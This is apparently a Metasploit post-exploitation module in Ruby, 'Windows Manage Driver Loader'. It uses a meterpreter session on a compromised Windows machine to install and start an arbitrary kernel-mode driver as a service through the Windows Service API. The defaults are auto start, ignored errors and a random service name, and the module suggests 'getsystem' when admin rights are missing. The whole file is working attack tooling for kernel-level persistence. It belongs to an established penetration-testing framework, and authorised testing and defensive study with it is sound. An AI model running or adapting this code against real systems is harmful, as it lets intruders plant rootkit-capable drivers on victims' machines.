125 lines
4.3 KiB
Ruby
125 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Services
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include Msf::Post::Windows::Error
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START_TYPE = {
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"demand" => "SERVICE_DEMAND_START",
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"boot" => "SERVICE_BOOT_START",
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"auto" => "SERVICE_AUTO_START",
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"disabled" => "SERVICE_DISABLED",
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"system" => "SERVICE_SYSTEM_START"
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}
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ERROR_TYPE = {
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"critical" => "SERVICE_ERROR_CRITICAL",
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"normal" => "SERVICE_ERROR_NORMAL",
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"severe" => "SERVICE_ERROR_SEVERE",
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"ignore" => "SERVICE_ERROR_IGNORE"
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}
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SERVICE_TYPE = {
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"kernel" => "SERVICE_KERNEL_DRIVER",
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"file_system" => "SERVICE_FILE_SYSTEM_DRIVER",
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"adapter" => "SERVICE_ADAPTER",
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"recognizer" => "SERVICE_RECOGNIZER_DRIVER"
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}
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Driver Loader',
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'Description' => %q{
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This module loads a KMD (Kernel Mode Driver) using the Windows Service API.
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},
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'License' => MSF_LICENSE,
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'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('DRIVER_PATH', [true, 'Driver path in %SYSTEMROOT%. Example: c:\\windows\\system32\\msf.sys']),
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OptString.new('DRIVER_NAME', [false, 'Driver Name.']),
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OptEnum.new('START_TYPE', [true, 'Start type.', 'auto', [ 'boot', 'system', 'auto', 'demand','disabled']]),
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OptEnum.new('SERVICE_TYPE', [true, 'Service type.', 'kernel', [ 'kernel', 'file_system', 'adapter', 'recognizer']]),
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OptEnum.new('ERROR_TYPE', [true, 'Error type.', 'ignore', [ 'ignore', 'normal', 'severe', 'critical']])
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], self.class)
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end
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def run
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driver = datastore['DRIVER_PATH']
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start = datastore['START_TYPE']
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error = datastore['ERROR_TYPE']
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service = datastore['SERVICE_TYPE']
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name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME']
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unless is_admin?
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print_error("Administrator or better privileges needed. Try 'getsystem' first.")
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return
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end
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unless driver =~ Regexp.new(Regexp.escape(expand_path("%SYSTEMROOT%")), Regexp::IGNORECASE)
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print_error("The driver must be inside %SYSTEMROOT%.")
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return
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end
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unless file_exist?(driver)
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print_error("Driver #{driver} does not exist.")
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return
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end
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inst = install_driver(driver: driver, start: start, name: name, error: error, service: service)
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if inst
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ss = service_start(name)
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case ss
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when Windows::Error::SUCCESS
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print_good("Driver loaded successfully.")
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when Windows::Error::SERVICE_ALREADY_RUNNING
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print_error("Service already started.")
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when Windows::Error::SERVICE_DISABLED
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print_error("Service disabled.")
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else
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print_error("There was an error starting the service.")
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end
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end
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end
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def install_driver(opts={})
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service_all_access = 0xF01FF
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service_type = SERVICE_TYPE[opts[:service]]
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service_error_type = ERROR_TYPE[opts[:error]]
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service_start_type = START_TYPE[opts[:start]]
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advapi32 = client.railgun.advapi32
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name = opts[:name]
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# Default access: sc_manager_all_access (0xF003F)
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ro = open_sc_manager()
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rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil)
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close_sc_manager(ro)
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if rc['GetLastError'] == Windows::Error::SUCCESS
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print_status("Service object \"#{name}\" added to the Service Control Manager database.")
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close_sc_manager(rc['return'])
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return true
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elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS
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print_error("The specified service already exists.")
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# Show ImagePath just to know if the service corresponds to the desired driver.
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service = service_info(name)
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print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.")
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else
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print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.")
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end
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return false
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end
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end
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